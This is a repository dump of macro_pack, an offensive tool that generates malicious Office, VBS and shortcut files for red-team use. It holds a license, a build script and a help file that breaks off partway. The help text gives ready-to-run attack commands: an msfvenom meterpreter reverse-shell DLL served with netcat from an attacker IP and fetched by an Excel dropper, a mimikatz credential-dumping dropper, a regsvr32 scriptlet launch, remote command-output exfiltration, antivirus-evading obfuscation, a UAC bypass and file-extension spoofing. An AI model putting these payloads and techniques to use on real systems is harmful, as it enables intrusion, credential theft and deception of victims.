├── .gitignore ├── LICENSE ├── README.md ├── assets ├── 1-2release.png ├── HTA_gen.png ├── Vintage-Gramophone.ico ├── compare_table.PNG ├── embed_calc.png ├── empireVBA_mp_obfuscate.png ├── empireVbaAgent.png ├── excel_dde.png ├── iqy_dde.PNG ├── mp1.png ├── mp_intro.png ├── releasev1.1.png ├── releasev1.5.png ├── uac_bypass.PNG └── xsl_webmeter.png ├── build.bat ├── requirements.txt └── src ├── __init__.py ├── common ├── __init__.py ├── definitions.py ├── help.py ├── mp_session.py └── utils.py ├── macro_pack.py ├── modules ├── Wlisten_server.py ├── __init__.py ├── access_gen.py ├── com_run.py ├── csproj_gen.py ├── embed_file.py ├── excel_dde.py ├── excel_gen.py ├── glk_gen.py ├── hta_gen.py ├── inf_gen.py ├── iqy_gen.py ├── libraryms_gen.py ├── listen_server.py ├── lnk_gen.py ├── mp_generator.py ├── mp_module.py ├── msproject_gen.py ├── obfuscate_form.py ├── obfuscate_names.py ├── obfuscate_strings.py ├── payload_builder.py ├── payload_builder_factory.py ├── ppt_gen.py ├── scf_gen.py ├── sct_gen.py ├── settingsms_gen.py ├── template_gen.py ├── templates │ ├── __init__.py │ └── template_factory.py ├── uac_bypass.py ├── url_gen.py ├── vba_gen.py ├── vbs_gen.py ├── visio_gen.py ├── web_server.py ├── word_dde.py ├── word_gen.py ├── wsf_gen.py └── xsl_gen.py └── vbLib ├── Base64ToBin.py ├── Base64ToText.py ├── CreateBinFile.py ├── CreateTxtFile.py ├── ExecuteCMDAsync.py ├── ExecuteCMDSync.py ├── GetOSVersion.py ├── IsAdmin.py ├── Meterpreter.py ├── ReadTxtFile.py ├── Sleep.py ├── UACBypassExecuteCMDAsync.py ├── WebMeter.py ├── WmiExec.py ├── WriteBytes.py ├── WscriptExec.py ├── __init__.py └── templates.py /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | __pycache__ 3 | *.bak 4 | *.prefs 5 | *.old 6 | *.log 7 | *.pyc 8 | *.exe 9 | *.dll 10 | bin/ 11 | build_tmp/ 12 | 13 | 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /assets/1-2release.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/1-2release.png -------------------------------------------------------------------------------- /assets/HTA_gen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/HTA_gen.png -------------------------------------------------------------------------------- /assets/Vintage-Gramophone.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/Vintage-Gramophone.ico -------------------------------------------------------------------------------- /assets/compare_table.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/compare_table.PNG -------------------------------------------------------------------------------- /assets/embed_calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/embed_calc.png -------------------------------------------------------------------------------- /assets/empireVBA_mp_obfuscate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/empireVBA_mp_obfuscate.png -------------------------------------------------------------------------------- /assets/empireVbaAgent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/empireVbaAgent.png -------------------------------------------------------------------------------- /assets/excel_dde.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/excel_dde.png -------------------------------------------------------------------------------- /assets/iqy_dde.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/iqy_dde.PNG -------------------------------------------------------------------------------- /assets/mp1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/mp1.png -------------------------------------------------------------------------------- /assets/mp_intro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/mp_intro.png -------------------------------------------------------------------------------- /assets/releasev1.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/releasev1.1.png -------------------------------------------------------------------------------- /assets/releasev1.5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/releasev1.5.png -------------------------------------------------------------------------------- /assets/uac_bypass.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/uac_bypass.PNG -------------------------------------------------------------------------------- /assets/xsl_webmeter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/assets/xsl_webmeter.png -------------------------------------------------------------------------------- /build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | if not exist "bin" mkdir "bin" 3 | if exist ".\bin\macro_pack.exe" DEL ".\bin\macro_pack.exe" 4 | if exist "%TEMP%\build_tmp" RMDIR /s /q "%TEMP%\build_tmp" 5 | MKDIR "%TEMP%\build_tmp" 6 | XCOPY "src" "%TEMP%\build_tmp\" /E 7 | 8 | COPY "assets\Vintage-Gramophone.ico" "%TEMP%\build_tmp/" 9 | COPY "assets\upx.exe" "%TEMP%\build_tmp/" 10 | 11 | set "currentDir=%cd%" 12 | CHDIR /D "%TEMP%\build_tmp\" 13 | 14 | pyinstaller --clean --onefile --upx-exclude=vcruntime140.dll -p modules -p common --icon "Vintage-Gramophone.ico" macro_pack.py 15 | 16 | CHDIR /D %currentDir% 17 | COPY "%TEMP%\build_tmp\dist\macro_pack.exe" "bin\macro_pack.exe" 18 | 19 | RMDIR /s /q "%TEMP%\build_tmp" 20 | PAUSE -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama>=0.4.0 2 | termcolor>=1.1.0 3 | tabulate>=0.8.5 4 | psutil>=5.6.7 5 | clr>=1.0.3 6 | wsgidav>=3.0.0 7 | cheroot>=6.3.3 8 | pywin32>=225 9 | pycdlib>=1.9.0 10 | PyInstaller>=4.0 11 | future~=0.18.2 12 | boxsdk~=2.10.0 -------------------------------------------------------------------------------- /src/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/src/__init__.py -------------------------------------------------------------------------------- /src/common/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sevagas/macro_pack/77238f7315a8cdd3d63cd53a7c085d702547b073/src/common/__init__.py -------------------------------------------------------------------------------- /src/common/definitions.py: -------------------------------------------------------------------------------- 1 | VERSION="2.2.0" 2 | LOGLEVEL = "INFO" 3 | -------------------------------------------------------------------------------- /src/common/help.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # encoding: utf-8 3 | 4 | from termcolor import colored 5 | 6 | from common import utils 7 | from common.utils import MSTypes 8 | from common.definitions import VERSION 9 | MP_TYPE="Pro" 10 | if utils.checkModuleExist("pro_core"): 11 | from pro_core.help_pro import getProBanner, getAvBypassFunctionPro, getGenerationFunctionPro, getOtherFunctionPro, getTemplateUsagePro, printAvailableFormatsPro 12 | else: 13 | MP_TYPE="Community" 14 | 15 | 16 | TOOLPRES = """\ 17 | 18 | _ _ __ ___ ____ __ ____ __ ___ __ _ 19 | ( \/ ) / _\ / __)( _ \ / \ ( _ \ / _\ / __)( / ) 20 | / \/ \/ \( (__ ) /( O ) ) __// \( (__ ) ( 21 | \_)(_/\_/\_/ \___)(__\_) \__/ (__) \_/\_/ \___)(__\_) 22 | 23 | 24 | Malicious Office, VBS, Shortcuts and other formats for pentests and redteam """ 25 | 26 | def getToolPres(): 27 | if MP_TYPE == "Pro": 28 | return getProBanner() 29 | else: 30 | BANNER = """\ 31 | %s- Version:%s Release:%s 32 | 33 | """ % (TOOLPRES,VERSION, MP_TYPE) 34 | return BANNER 35 | 36 | 37 | """Webmeter support removed from now 38 | WEBMETER 39 | Meterpreter reverse https template using VbsMeter by Cn33liz. 40 | This template is CSharp Meterpreter Stager build by Cn33liz and embedded within VBA using DotNetToJScript from James Forshaw 41 | Give this template the IP and PORT of listening mfsconsole 42 | -> Example: echo 443 | %s -t WEBMETER -o -G meter.sct 43 | 44 | This template also generates a webmeter.rc file to create the Metasploit handler 45 | -> Example: msfconsole -r webmeter.rc 46 | 47 | -------------------- 48 | From README: 49 | - Generate obfuscated Meterpreter reverse https TCP SCT file and run it 50 | ```batch 51 | # 1 Generate obfuscated VBS scriptlet and Metasploit resource file based on meterpreter reverse HTTPS template 52 | echo | macro_pack.exe -t WEBMETER -o -G meter.sct 53 | # 2 On attacker machine Setup meterpreter listener 54 | msfconsole -r webmeter.rc 55 | # 3 run scriptlet with regsvr32 56 | regsvr32 /u /n /s /i:meter.sct scrobj.dll 57 | 58 | ``` 59 | 60 | 61 | """ 62 | 63 | 64 | def getTemplateUsage(currentApp): 65 | templatesInfo = \ 66 | r""" 67 | Templates can be called using -t, --template=TEMPLATE_NAME combined with other options. 68 | Available templates: 69 | 70 | -------------------- 71 | 72 | HELLO 73 | Just print a hello message 74 | Give this template the name of the user 75 | -> Example: echo "World" | %s -t HELLO -G hello.pptm 76 | 77 | -------------------- 78 | 79 | CMD 80 | Execute a command 81 | Give this template a command line 82 | -> Example: echo "calc.exe" | %s -t CMD -o -G cmd.xsl 83 | 84 | -------------------- 85 | 86 | REMOTE_CMD 87 | Execute a command line and send result to remote http server 88 | Give this template the server url and the command to run 89 | -> Example: echo "http://192.168.0.5:7777" "dir /Q C:" | %s -t REMOTE_CMD -o -G cmd.doc 90 | 91 | -------------------- 92 | 93 | DROPPER 94 | Download and execute a file 95 | Give this template the file url and the target file path 96 | -> Example: echo "" | %s -t DROPPER -o -G dropper.xls 97 | 98 | -------------------- 99 | 100 | DROPPER_PS 101 | Download and execute Powershell script using rundll32 (to bypass blocked powershell.exe) 102 | Note: This payload will download PowerShdll from Github. 103 | Give this template the url of the powershell script you want to run 104 | -> Example: echo "" | %s -t DROPPER_PS -o -G powpow.doc 105 | 106 | -------------------- 107 | 108 | DROPPER_DLL 109 | Download a DLL, drop it on file system without .dll extension, and run it using rundll32 110 | -> Example, load meterpreter DLL using Excel: 111 | 112 | REM Generate meterpreter dll payload 113 | msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll 114 | REM Make it available on webserver, ex using netcat on port 6666 115 | { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1 116 | REM Create Office file which will download DLL and call it 117 | REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file 118 | echo "http://192.168.0.5:6666/normal.html" Run | %s -t DROPPER_DLL -o -G meterdll.xls 119 | 120 | -------------------- 121 | 122 | METERPRETER 123 | Meterpreter reverse TCP template using MacroMeter by Cn33liz. 124 | This template is CSharp Meterpreter Stager build by Cn33liz and embedded within VBA using DotNetToJScript from James Forshaw 125 | Give this template the IP and PORT of listening mfsconsole 126 | -> Example: echo | %s -t METERPRETER -o -G meter.docm 127 | 128 | This template also generates a meterpreter.rc file to create the Metasploit handler 129 | -> Example: msfconsole -r meterpreter.rc 130 | 131 | -------------------- 132 | 133 | EMBED_EXE 134 | Drop and execute embedded file. 135 | Combine with --embed option, it will drop and execute the embedded file with random name under TEMP folder. 136 | -> Example: %s -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs 137 | 138 | -------------------- 139 | 140 | EMBED_DLL 141 | Combine with --embed option, it will drop and call a function in the given DLL 142 | Give this template the name and parameters of function to call in DLL 143 | -> Example1 : echo "main" | %s -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc 144 | -> Example2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | %s -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta 145 | 146 | -------------------- 147 | """ % (currentApp,currentApp,currentApp,currentApp,currentApp,currentApp, currentApp,currentApp,currentApp,currentApp) 148 | return templatesInfo 149 | 150 | 151 | def getGenerationFunction(): 152 | details = """ Main payload generation options: 153 | -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. 154 | MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. 155 | Note: Office payload generation requires that MS Office application is installed on the machine 156 | --listformats View all file formats which can be generated by MacroPack 157 | -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats 158 | If no input file is provided, input must be passed via stdin (using a pipe). 159 | -t, --template=TEMPLATE_NAME Use code template already included in MacroPack 160 | MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass 161 | --listtemplates View all templates provided by MacroPack 162 | -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. 163 | Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. """ 164 | return details 165 | 166 | 167 | def getAvBypassFunction(): 168 | details = """ Security bypass options: 169 | -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) 170 | If also possible to only apply parts of obfuscation using: 171 | --obfuscate-form to remove comments and space 172 | --obfuscate-names to rename functions and variables 173 | --obfuscate-declares to rename Win32 import declarations 174 | --obfuscate-strings to split and encode strings 175 | --obfuscate-names-charset= Set a charset for obfuscated variables and functions 176 | Choose between: alpha, alphanum, complete or provide the list of char you want (default is alpha) 177 | --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default is 7) 178 | --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default is 15) 179 | --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates """ 180 | return details 181 | 182 | 183 | 184 | def getOtherFunction(currentApp): 185 | details = """ Other options: 186 | -q, --quiet Do not display anything on screen, just process request. 187 | -p, --print Display result file on stdout (will display VBA for Office formats) 188 | Combine this option with -q option to pipe result into another program 189 | ex: cat input_file.vba | %s -o -G obfuscated.vba -q -p | another_app 190 | -s, --start-function=START_FUNCTION Entry point of macro file 191 | Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function 192 | --icon Path of generated file icon. Default is %%windir%%\system32\imageres.dll,67 193 | --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE 194 | This option is only compatible with Excel formats. 195 | --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. 196 | This will trigger AutoOpen/Workbook_Open automatically. 197 | If no auto start function, use --start-function option to indicate which macro to run. 198 | --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. 199 | Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg 200 | In this case, windows or linux explorers will show the file named as: somethingath.jpg 201 | -l, --listen=ROOT_PATH\tOpen an HTTP server from ROOT_PATH listening on default port 80. 202 | -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. 203 | --port=PORT Specify the listening port for HTTP and WebDAV servers.""" % currentApp 204 | return details 205 | 206 | 207 | def getCommunityUsage(currentApp): 208 | details = """ 209 | %s 210 | 211 | %s 212 | 213 | %s 214 | 215 | """ % (getGenerationFunction(), getAvBypassFunction(), getOtherFunction(currentApp)) 216 | return details 217 | 218 | 219 | 220 | 221 | 222 | def printAvailableFormats(banner): 223 | print(colored(banner, 'green')) 224 | print(" Supported Office formats:") 225 | for fileType in MSTypes.MS_OFFICE_FORMATS: 226 | print(" - %s: %s" % (fileType, MSTypes.EXTENSION_DICT[fileType])) 227 | print(" Note: Ms Office file generation requires Windows OS with MS Office application installed.") 228 | print("\n Supported VB formats:") 229 | for fileType in MSTypes.VBSCRIPTS_FORMATS: 230 | print(" - %s: %s" % (fileType, MSTypes.EXTENSION_DICT[fileType])) 231 | print("\n Supported shortcuts/miscellaneous formats:") 232 | for fileType in MSTypes.Shortcut_FORMATS: 233 | print(" - %s: %s" % (fileType, MSTypes.EXTENSION_DICT[fileType])) 234 | print("\n WARNING: These formats are only supported in MacroPack Pro:") 235 | for fileType in MSTypes.ProMode_FORMATS: 236 | print(" - %s: %s" % (fileType, MSTypes.EXTENSION_DICT[fileType])) 237 | 238 | print("\n To create a payload for a certain format just add extension to payload.\n Ex. -G payload.hta ") 239 | if MP_TYPE=="Pro": 240 | printAvailableFormatsPro() 241 | 242 | 243 | def printCommunityUsage(banner, currentApp): 244 | print(colored(banner, 'green')) 245 | print(" Usage 1: echo | %s -t